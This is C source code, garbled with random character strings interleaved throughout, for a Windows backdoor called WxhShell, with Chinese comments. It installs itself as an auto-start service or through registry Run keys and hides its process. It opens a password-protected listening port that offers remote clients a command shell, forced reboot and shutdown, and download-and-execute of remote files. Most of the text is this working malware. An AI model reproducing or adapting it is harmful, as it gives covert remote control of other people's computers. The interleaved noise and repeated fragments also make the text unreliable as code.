at/h D{!6Y*d6&s g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LI'6R= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wrviR NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^/uA?h:]\ ``V"
D if (!NtQueryInformationProcess) return 0; `-.%^eIp vGvf<ra;H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S
O4u9V if(!hProcess) return 0; D!@Ciw F7A=GF' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^"2i ]5mn ew CloseHandle(hProcess); iM AfJ-oN oxC[F*mD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); au N6prGe if(hProcess==NULL) return 0; UG'Q]S#! YA''2Ii HMODULE hMod; F7
5#* char procName[255]; >c1!p]&V unsigned long cbNeeded; vV6<^W:9F "C}b%aO: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E8!e:l
=Q aL*&r~`&e' CloseHandle(hProcess); ) dn(G@5 >d*iD if(strstr(procName,"services")) return 1; // 以服务启动 .O74V~T I*%-cA%l return 0; // 注册表启动 gGvz(R:y } t,QyfN 3Q"<<pi!~ // 主模块 b $'FvZbk int StartWxhshell(LPSTR lpCmdLine) 7OC#8, { u&1q [0y SOCKET wsl; cU
R kP` BOOL val=TRUE; ATJWO1CtB int port=0; .Fs7z7?Y struct sockaddr_in door; RdWRWxTn8+ C^3 <={ if(wscfg.ws_autoins) Install(); #eQJEajv5 c$ao:nP)D port=atoi(lpCmdLine); gaQdG=G8$ .+qQYDEw if(port<=0) port=wscfg.ws_port; PbW(%7o(t vo`2\R. WSADATA data; ]*vdSr-J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t'VV>;-RO= T3~k>"W if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z LB4m` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N2B|SO'' door.sin_family = AF_INET; ao%NK<Lt door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?:
N@!jeJ door.sin_port = htons(port); JX-'
mV` ?/BqD;{?I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H#NCi~M>3 closesocket(wsl); .>CPRVuVI return 1; X59:C3c } )+l\w3^6 YX=a#%vrl if(listen(wsl,2) == INVALID_SOCKET) { rv&<{@AS~ closesocket(wsl); D6%J\C13` return 1; H#@^R( } mX_a^_[G Wxhshell(wsl); Gnf~u[T6 WSACleanup(); MJOz.=CbhR IHe/xQ@ return 0; 4^TG>j?M rQk<90Ar } I`p+Qt NYE`Kin- // 以NT服务方式启动 txW{7[w+, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @HQ`~C#Z' { qLw{?sH}J/ DWORD status = 0; 9)}[7Mg:C DWORD specificError = 0xfffffff; Px$/ _`H $eD.W serviceStatus.dwServiceType = SERVICE_WIN32; 1xD=ffM>8N serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,-izEr serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aEM %R<e serviceStatus.dwWin32ExitCode = 0; 87Oad@FOr serviceStatus.dwServiceSpecificExitCode = 0; =x!2Ak/) serviceStatus.dwCheckPoint = 0; /s?r`' j[ serviceStatus.dwWaitHint = 0; g}f`,r9 %70~M_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0*rQ3Z if (hServiceStatusHandle==0) return; |o{:ZmzM N"8_S0=pw status = GetLastError(); AmaT0tzJC if (status!=NO_ERROR) whpfJNz { E}Y!O"CAV serviceStatus.dwCurrentState = SERVICE_STOPPED; x97
j serviceStatus.dwCheckPoint = 0; V=zi
>o` serviceStatus.dwWaitHint = 0; \Kl+ 5%L serviceStatus.dwWin32ExitCode = status; L[^9E'L$ serviceStatus.dwServiceSpecificExitCode = specificError; Z3{>yYR+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); #bMuvaP~ return; ;ado0-VQi' } QrfG^GID 86(I^= serviceStatus.dwCurrentState = SERVICE_RUNNING; {7 $c8i serviceStatus.dwCheckPoint = 0; .z
6fv serviceStatus.dwWaitHint = 0; 3D`YZ#M if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TR<<+ } SF&BbjBE0 0/!dUWdKH // 处理NT服务事件,比如:启动、停止 ?*E'^~,H) VOID WINAPI NTServiceHandler(DWORD fdwControl) *$p2*%7Ne { E0u~i59Z switch(fdwControl) b+@JY2dvj { '@p['#\uI case SERVICE_CONTROL_STOP: lz"OC<D}( serviceStatus.dwWin32ExitCode = 0; /wP@2ADB serviceStatus.dwCurrentState = SERVICE_STOPPED; kD*2~Z ?; serviceStatus.dwCheckPoint = 0; Rn{iaM2Y< serviceStatus.dwWaitHint = 0; `|,`QqDQ { )+}]+xRWGj SetServiceStatus(hServiceStatusHandle, &serviceStatus); _C(m<n } NbC@z9Q return; <(-3_s6- case SERVICE_CONTROL_PAUSE: Z2TL #@ serviceStatus.dwCurrentState = SERVICE_PAUSED; V#cqRE3XNi break; mMb'@ case SERVICE_CONTROL_CONTINUE: {)
Q@c)' serviceStatus.dwCurrentState = SERVICE_RUNNING; W0epAGrB break;
0BH_'ZW case SERVICE_CONTROL_INTERROGATE: bty/ break; TQx.KM>y }; '[C.|)" SetServiceStatus(hServiceStatusHandle, &serviceStatus); fRtUvC-#H } dgA-MQ5{ `FYv3w2 // 标准应用程序主函数
/o[?D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %,D<O,N { \RvvHty-V :E>HE,1b+ // 获取操作系统版本 ^@qvl%j OsIsNt=GetOsVer(); |4T!&[r GetModuleFileName(NULL,ExeFile,MAX_PATH); AgFVv5 xKQ+{"?-^g // 从命令行安装 n@U n if(strpbrk(lpCmdLine,"iI")) Install(); [k6nW:C <^zHE=h" // 下载执行文件 du)~kU>l if(wscfg.ws_downexe) { WDg+J if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h\nI!{A0 WinExec(wscfg.ws_filenam,SW_HIDE); 2 !At2P2 } d4nH_? L{(QpgHZ if(!OsIsNt) { .h9l7
nZt // 如果时win9x,隐藏进程并且设置为注册表启动 Sh?4ri@: HideProc(); o>7ts&rk StartWxhshell(lpCmdLine); *e-A6Sh } 'UMXq~RMe else m< 3Ao^I+ if(StartFromService()) xfb]b2 // 以服务方式启动 <o+<H StartServiceCtrlDispatcher(DispatchTable); 6IWxPt~ else E;1Jh(58)b // 普通方式启动 j{NNSi3 StartWxhshell(lpCmdLine); ]79:yMD~ba z}{afEb return 0; 1qf!DMcdZ } :PtF+{N> xj[(P$,P 2 Sh
O9g{+e` =========================================== ~M\I;8ne TpHfS]W-P cCa|YW^j *&d<yJM`b qQ0cJIISb\ QK+(g,)_86 " Op>%?W8/UF m+#iR}*1L #include <stdio.h> ^|TG$`M(w #include <string.h> MW PvR|Q #include <windows.h> A0fFv+RN3 #include <winsock2.h> A0Zt8>w #include <winsvc.h> ND5`Q"k
#include <urlmon.h> :_@JA0n !vk|<P1 #pragma comment (lib, "Ws2_32.lib") kWNV%RlSx #pragma comment (lib, "urlmon.lib") '&sE=. YSj+\Z$( #define MAX_USER 100 // 最大客户端连接数 |QMhMGjV #define BUF_SOCK 200 // sock buffer gq"gUaz #define KEY_BUFF 255 // 输入 buffer r)i>06Hd ixV0|P8,c #define REBOOT 0 // 重启 4[BG# #define SHUTDOWN 1 // 关机 ?_ dIIQ J@OB`2?Zv #define DEF_PORT 5000 // 监听端口 yB3; MSV2ip3 #define REG_LEN 16 // 注册表键长度 +n7?S~R$ #define SVC_LEN 80 // NT服务名长度 XfKo A0 6:]*c[7 // 从dll定义API rYp3(k3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MCT'Nw@A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @o-B{EH8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -_<}$9lz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (?H0+zws^ l9Q(xuhv // wxhshell配置信息 @?[1_g_'P struct WSCFG { OKHX)"j\\ int ws_port; // 监听端口 A"aV'~> char ws_passstr[REG_LEN]; // 口令 ?\#N9+{W int ws_autoins; // 安装标记, 1=yes 0=no i@][rdhT char ws_regname[REG_LEN]; // 注册表键名 @&"Pci+-| char ws_svcname[REG_LEN]; // 服务名 8v71e> char ws_svcdisp[SVC_LEN]; // 服务显示名 TI !a )X char ws_svcdesc[SVC_LEN]; // 服务描述信息 RID]pek char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1lsLJ4P int ws_downexe; // 下载执行标记, 1=yes 0=no zSE<"(a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .>(Q)"v char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !I\!;b l?iSxqdT }; ||zb6|7I4 (n1Bh~R^ // default Wxhshell configuration jt@SZI` struct WSCFG wscfg={DEF_PORT,
[|~2X> "xuhuanlingzhe", KK,Z"){
1, @Eb2k!T "Wxhshell", OgcHS? "Wxhshell", c!hwmy; "WxhShell Service", KIeT!kmDl "Wrsky Windows CmdShell Service", huudBc
A[ "Please Input Your Password: ", ^ZM0c>ev=l 1, SSBg?H 'T "http://www.wrsky.com/wxhshell.exe", O'GG Ti]e "Wxhshell.exe" cV-1?h63 }; %Rh;=p` Jd,)a#<j // 消息定义模块 XM<KF&pVB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n}mR~YqD char *msg_ws_prompt="\n\r? for help\n\r#>"; fZKt%m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QR">.k4QJ char *msg_ws_ext="\n\rExit."; l/y]nw char *msg_ws_end="\n\rQuit."; 6r"u$i`o char *msg_ws_boot="\n\rReboot..."; h7X_S4p/Mg char *msg_ws_poff="\n\rShutdown..."; \#'TNmS char *msg_ws_down="\n\rSave to "; IkzTJ%> *[eL~oN.c char *msg_ws_err="\n\rErr!"; ,uz ]V1 char *msg_ws_ok="\n\rOK!"; 8wH.et25k { m8+Wju} char ExeFile[MAX_PATH]; U Q@7n1 int nUser = 0; h5kPn~ HANDLE handles[MAX_USER]; >\<*4J$PZ int OsIsNt; QMo}W{D Z.i{i^/#( SERVICE_STATUS serviceStatus; k#}g,0@ SERVICE_STATUS_HANDLE hServiceStatusHandle; QIB>rQCceo Ovw[b2ii // 函数声明 CY?G*nS?iK int Install(void); v=I|O% int Uninstall(void); /q\_&@ int DownloadFile(char *sURL, SOCKET wsh); .r+hERcB int Boot(int flag); wyxGe<1 void HideProc(void); d h^^G^ int GetOsVer(void); D~K;~nI int Wxhshell(SOCKET wsl); I/x iT void TalkWithClient(void *cs); MVCl.o int CmdShell(SOCKET sock); t j Vh^ int StartFromService(void); :Zw@yt int StartWxhshell(LPSTR lpCmdLine); 1U\$iy8} Cup@TET35 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vOI[Z0Lq9h VOID WINAPI NTServiceHandler( DWORD fdwControl ); |4Ck;gg!j _DPOyR2 // 数据结构和表定义 >n.z)ZJ SERVICE_TABLE_ENTRY DispatchTable[] = Bz2'=~J { ]"fsW 9s {wscfg.ws_svcname, NTServiceMain}, ,je`YEC {NULL, NULL} "L&k)J }; !{_yaVF ET^ |z // 自我安装 3mt%!}S int Install(void) K%KZO`gO { X}4}& char svExeFile[MAX_PATH]; farDaS[\VY HKEY key; J_#R 87 strcpy(svExeFile,ExeFile); WNa0, j,%EW+j$ // 如果是win9x系统,修改注册表设为自启动 6a}r( yP if(!OsIsNt) { bNzqls$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Xg?Ug*9w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,WTTJN RegCloseKey(key); {gy+3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EH9Hpo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hY\{| RegCloseKey(key); ?H;{~n? return 0; _ptP[SV^j } Fq,N } aSnp/g } ?KN:r E else { Zy]s`aa ]YD(`42 x // 如果是NT以上系统,安装为系统服务 M StX*Zw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M?6;|-HH if (schSCManager!=0) X}JWf<=q { D,W\ gP/h% SC_HANDLE schService = CreateService #+sF`qR, ( ?g}kb schSCManager, 4Z%Y"PL(K wscfg.ws_svcname, a>Re^GT+z wscfg.ws_svcdisp, [QEwK|!L SERVICE_ALL_ACCESS, hH4o;0rqJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LdTIR] SERVICE_AUTO_START, I"Q<n[g0' SERVICE_ERROR_NORMAL, 1i?=JAFfM svExeFile, Jh2Wr!5 NULL, u(vw|nj` NULL, X5E
'*W NULL, 8 lS($@@{ NULL, ^8742. NULL Xem| o& ); V/H@vKN2 if (schService!=0) *wUdC { 8W{~wg` CloseServiceHandle(schService); BjD&>gO) CloseServiceHandle(schSCManager); fPE ?hG<x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5EhE`k4 strcat(svExeFile,wscfg.ws_svcname); 8tZ};="F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >(tO
QeN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &:8T$UV RegCloseKey(key); 9v?V return 0; 9t}xXk } YC)hX'A\ } )5i*/I\ CloseServiceHandle(schSCManager); ,8`O7V{W } u9}!Gq } 7|~:P$M cdp{W return 1; w
a.f![ } %gTVW!q "`]'ZIx[R/ // 自我卸载 +E#PJ_H=F8 int Uninstall(void) z@`@I { Y UZKle HKEY key; p,s&61] x vJ^@w' if(!OsIsNt) { u9@b< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J" wKR y RegDeleteValue(key,wscfg.ws_regname); FG _, RegCloseKey(key); d"l}Ny)C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +
o{*r# RegDeleteValue(key,wscfg.ws_regname); /fC\K_<N RegCloseKey(key); (olLB return 0; i0i`k^bA } r$?Vx_f`Q } rBD2Si= } /sH0x,V else { ,#Ln/; %OFj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m|`VJ0 if (schSCManager!=0) AA_@\:w^ { .hgH9$\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G)4SWu0<t if (schService!=0) mCG;[4gM { s/PhXf\MN if(DeleteService(schService)!=0) { U>1b9G"_ CloseServiceHandle(schService); J2=*-O: CloseServiceHandle(schSCManager); >OTl2F}4 ! return 0; [DL|Ht> } "YD.=s CloseServiceHandle(schService); u<C$'V } PMsC*U,oe CloseServiceHandle(schSCManager); @%%bRY } YVJ+'
A=| } M(NH9EE " C&x,Ic return 1; fvO;lA>` } %/X2 l O68b zi] // 从指定url下载文件 ^YqbjL int DownloadFile(char *sURL, SOCKET wsh) a/QIJ*0 { ,Z?m`cx HRESULT hr; 2>ys2:z char seps[]= "/"; -#daBx
? char *token; *qbRP"#[$ char *file; %5`r-F char myURL[MAX_PATH]; MHGj vSx char myFILE[MAX_PATH]; cu:-MpE ` v>/
strcpy(myURL,sURL); nQ!N}5[z' token=strtok(myURL,seps); \N6<BS while(token!=NULL) rAL1TU(vm { <Ak:8&$O file=token; \I:UC
% token=strtok(NULL,seps); oO8]lHS?@ } nhp)yW "Jf4N GetCurrentDirectory(MAX_PATH,myFILE); B%) zGTp6 strcat(myFILE, "\\"); k:`a+LiZ strcat(myFILE, file); |e~u!V\m send(wsh,myFILE,strlen(myFILE),0); j1W
bD7*8 send(wsh,"...",3,0); JThk Wx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +yt 6.L if(hr==S_OK) N&x@_t"" return 0; y Y'gx|\ else $ #TID= return 1; -6(h@F%E 3&O% & }
8u4gx<;O :O5Tr03z // 系统电源模块 loml.e=87 int Boot(int flag) >3<&V{<K { '\Qf,%%. HANDLE hToken; unx;m$-c TOKEN_PRIVILEGES tkp; 22l|!B%o I|GV
:D if(OsIsNt) { ]kyle3#-~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `'dX/d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =c
:lS&B tkp.PrivilegeCount = 1; l_UXrnm/N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W ]a7&S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B.h0" vJ if(flag==REBOOT) { $_4oN(WSz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pyu46iE) return 0; Pc/.*kOT } I|Vk., else { %iHyt,0v2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <|mE9u return 0; d,Im&j_Z } fx8y`8}_ } K *
xM[vO else { |6\FI? if(flag==REBOOT) { >FK)p
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6)tB{:h&~0 return 0; Enq6K1@%G } %!N2!IiVs else { dVY(V&p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HYa$EE2 return 0; T%N~oa } 4GmSG,] } xCmI7$uQ# wj5qQ]WC return 1; +35)=Uov } Q6s5#7h'"
=Qjw.6@ // win9x进程隐藏模块 W(]E04 void HideProc(void) +=,4@I% { 5bGjO&$l i-Ge*? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *Bb|N--jI if ( hKernel != NULL ) URmAI8fq*M { C7XS6Nqu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3.K{T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KV)Hywl` FreeLibrary(hKernel); ?
bUpK } }
Y7W1$he E'Fv *UA return; X*c_^g{ } FBwncG$]F* ZmYSi$B // 获取操作系统版本 /I`bh int GetOsVer(void) tNi%}~Z { N c&i) qh OSVERSIONINFO winfo; q|Pt>4c5? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6S&=OK^ GetVersionEx(&winfo); R|Q_W X
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c],frhmyd return 1; ="'P=Xh!8 else avbr7X( return 0; I]WeZ,E } [Q.4]K2 wn A%Nh7 // 客户端句柄模块 %M0mwty] int Wxhshell(SOCKET wsl) Aa\=7 { 7gdU9c/q, SOCKET wsh; /v;)H#; struct sockaddr_in client; 8y4D9_{ DWORD myID; bsk=9K2_2t r
PRuSk-f while(nUser<MAX_USER) 9Sj:nn^/u { w?$u! X int nSize=sizeof(client); ZR01<V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jq+$_Uqd if(wsh==INVALID_SOCKET) return 1; >fZ/09&3 0Z);.l^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X\$W'^ np if(handles[nUser]==0) ~b6<uRnM. closesocket(wsh); a@_Cx else 7N59B z nUser++; ^ yukn*L } J PzQBc5e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !qw=I( V.gY1
return 0; vo( j@+dz } <K=B(-~ o"ah\"#el // 关闭 socket ng&EGM void CloseIt(SOCKET wsh) Pdm6u73 { )D@n?qbG closesocket(wsh); <Ec)m69P nUser--; noUZ9M|hz ExitThread(0); ZV q } 3P^gP32 ">vYEkZ3 // 客户端请求句柄 S_ -QvG2 void TalkWithClient(void *cs) ^3)2]>pW { ks#Z~6+3 ~h^}W$pO SOCKET wsh=(SOCKET)cs; |Q)w3\S$ char pwd[SVC_LEN]; n\"LN3 char cmd[KEY_BUFF]; %Rsf6rJ char chr[1]; Qdr-GODx int i,j; `i)ePiE ~!d)J while (nUser < MAX_USER) { }B
'*8^S %1?V6& if(wscfg.ws_passstr) { dbUZGn~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PUZXmnB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .SV3<) //ZeroMemory(pwd,KEY_BUFF); "QFADk1 i=0; qD%&\ZT while(i<SVC_LEN) { q>:&xR"ra /e?ux ~f| // 设置超时 rWfurB5f fd_set FdRead; '/Cz{<, struct timeval TimeOut; 1gy}E=noP FD_ZERO(&FdRead); 6BN(^y#-X FD_SET(wsh,&FdRead); Q.2nUT` TimeOut.tv_sec=8; OUk5c$M( TimeOut.tv_usec=0; 4x{ti5Y0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = 4WZr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zcWxyLifl0 7RFkHME if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lvJ{=~u pwd=chr[0]; G1^!e j if(chr[0]==0xd || chr[0]==0xa) { ?| LB:8
pwd=0; 8Gg/M%wq9U break; 34^Cfh } g7LW?Ewr i++; Bpo68%dx89 } {BCjVmY A}Dpw[Q2@8 // 如果是非法用户,关闭 socket j4SGA#;v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ahbu >LPk } LqsJHG }<h.
chz, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6Oba}`)q9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RZh)0S>J j"u)/A8* while(1) { []3}(8yxGb +*{5ORq= ZeroMemory(cmd,KEY_BUFF); vGHYB1=~ KL"L65g& // 自动支持客户端 telnet标准 b e%*0lr j=0; eniR} while(j<KEY_BUFF) { Lbp6I0&n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $cU/Im`
cmd[j]=chr[0]; K/+C6Y? if(chr[0]==0xa || chr[0]==0xd) { $[CA#AXE cmd[j]=0; &E`Z_}~ break; }z- } * .VZ(wX j++; A;x^6> } <1.mm_pw X
hX'*{3k // 下载文件 Qb{5*> if(strstr(cmd,"http://")) { $-fY 8V3[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); r$Qh`[< if(DownloadFile(cmd,wsh)) 1W<_5 j_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _N';`wjDY else -Ep6.v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T=dvc} } +aqo8'a else { Z@/5~p gjLgeyyWC switch(cmd[0]) { Qo *]l_UO; K({,]<l5 // 帮助 7"i*J6y* case '?': { 4:g:$s|SE[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c (8J break; 5K~6` } <U pjAuG8 // 安装 AB\4+ CLV case 'i': { F
&}V65 if(Install()) RhmVHhj send(wsh,msg_ws_err,strlen(msg_ws_err),0); rNyK*Wjt else 5VbNWrw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ??V["o T break; ".D +#
2Kl } nB0ol-< // 卸载 {2@96o2} case 'r': { 1tpD| if(Uninstall()) >K%x44| send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}1)]6q$ else NLY5L7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ayp}TYh* break; 3k^jR1 } Zh^w)}(W // 显示 wxhshell 所在路径 e*H$c?7NL case 'p': { >O~5s.1u char svExeFile[MAX_PATH]; UI;{3Bn strcpy(svExeFile,"\n\r"); *Fws]y2t~ strcat(svExeFile,ExeFile); 6~>k]G send(wsh,svExeFile,strlen(svExeFile),0); 4PQWdPv; break; Q>$L;1E*, } %A3Jd4DH // 重启 N<99K! case 'b': { {+Yo&F}n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z, [+ if(Boot(REBOOT)) [dMxr9M send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZvsJ) else { mGvP9E"& closesocket(wsh); @jKB!z9{ ExitThread(0); )3sb2
# } pdSyx>rJ break; _wCSL. } E"=$p$k // 关机 X)m2{@v D case 'd': { cqudF=q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r$5!KO if(Boot(SHUTDOWN)) fF%r$`2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Iu(lpF& else { t
,$)PV closesocket(wsh); '! (`? ExitThread(0); pG&.Ye]j } ^iNR(cwgX break; FhGbQJ?[3 } 7|rT*-Ia // 获取shell {y'kwU case 's': { =%LS9e^7D CmdShell(wsh); zYgLGwi{ closesocket(wsh); bxs@_fH ExitThread(0); xXZN<<f59 break; P6Ei!t,> } o/R-1\Dn // 退出 <vs.Ucxx case 'x': { T[~X~dqwn" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jp- hFD CloseIt(wsh); lV8Mr6m break; wr`eBPu } b11C3TyQT // 离开 pN[i%\vh
case 'q': { C$8=HM3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); #u_-TWVt closesocket(wsh); NQmDm!-4 WSACleanup();
n" sGI exit(1); Eq
t61O$x break; ScEM#9T | } g:HIiGN0Ic } v!2`hqO } ^IpS 3y T~la,>p|} // 提示信息 rAWBuEU;! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D+OkD-8q } ~F WmT(S } \gdd Lxl?6wZ return; Nbr{)h } q07>FW R &3rh{" ^9 // shell模块句柄 a.P^+h int CmdShell(SOCKET sock) 4_$f"6 { F)C8LH STARTUPINFO si; ipsNiFv: ZeroMemory(&si,sizeof(si)); 6(.&y; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4R6X"T9- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \-^3Pe, PROCESS_INFORMATION ProcessInfo; Epx.0TA= t char cmdline[]="cmd"; TWy1)30x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [*Lh4K return 0; xaPTTa } 7Ev~yY;N _b+3;Dy // 自身启动模式 uy$o%NL-7 int StartFromService(void) {2!.3<# { 'SC`->F4D typedef struct Ba"Z^(: { 56fcifXz@ DWORD ExitStatus; )pg?Z M9 DWORD PebBaseAddress; {9(N?\S1`a DWORD AffinityMask; {L#Pdj{ DWORD BasePriority;
8$1<N ULONG UniqueProcessId; ur;8uv2o ULONG InheritedFromUniqueProcessId; Ax&+UxQ0| } PROCESS_BASIC_INFORMATION; {&xKSWNc 86[TBX5' PROCNTQSIP NtQueryInformationProcess; J:t1W=lJ3 OfPWqNpO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 ~VniF^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dH8H<K~ *edB3!! HANDLE hProcess; }z}oVc PROCESS_BASIC_INFORMATION pbi; (%tKGeb $cc]pJy"} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hS<+=3
<M if(NULL == hInst ) return 0; *f1MgP*GKF 0C7x1: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nT:ZSJWM g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WUKYwA/t NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 60Y&)UR m+zzhv1 if (!NtQueryInformationProcess) return 0; c'[l%4U8[ <f1Pj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h60*=+vdJ if(!hProcess) return 0; Ue!
&Vm c{zQX0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7&E3d P L9"V$MO CloseHandle(hProcess); >A#]60w. F8f@^LVM/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bP(xMw<'j if(hProcess==NULL) return 0; I6~.sTl $0
eyp]XC\ HMODULE hMod; USv: +
